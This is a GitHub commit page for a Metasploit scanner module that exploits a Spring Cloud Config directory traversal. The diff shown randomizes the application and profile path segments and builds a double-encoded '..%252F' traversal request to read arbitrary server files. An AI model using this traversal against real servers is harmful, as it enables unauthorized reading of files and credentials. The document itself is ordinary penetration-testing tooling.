Skip to content

Commit

Permalink
Randomize application and profile
Browse files Browse the repository at this point in the history
  • Loading branch information
jrobles-r7 committed Apr 26, 2019
1 parent 96cb5ce commit 306b0fd
Showing 1 changed file with 6 additions and 1 deletion.
7 changes: 6 additions & 1 deletion modules/auxiliary/scanner/http/springcloud_traversal.rb
Original file line number Diff line number Diff line change
Expand Up @@ -39,13 +39,18 @@ def initialize(info = {})
])
end

def data
Rex::Text.rand_text_alpha(3..8)
end

def run_host(ip)
filename = datastore['FILEPATH']
traversal = "#{"..%252F" * datastore['DEPTH']}#{filename}"
uri = "/#{data}/#{data}/master/#{traversal}"

res = send_request_raw({
'method' => 'GET',
'uri' => "/foo/default/master/#{traversal}"
'uri' => uri
})

unless res && res.code == 200
Expand Down

0 comments on commit 306b0fd

Please sign in to comment.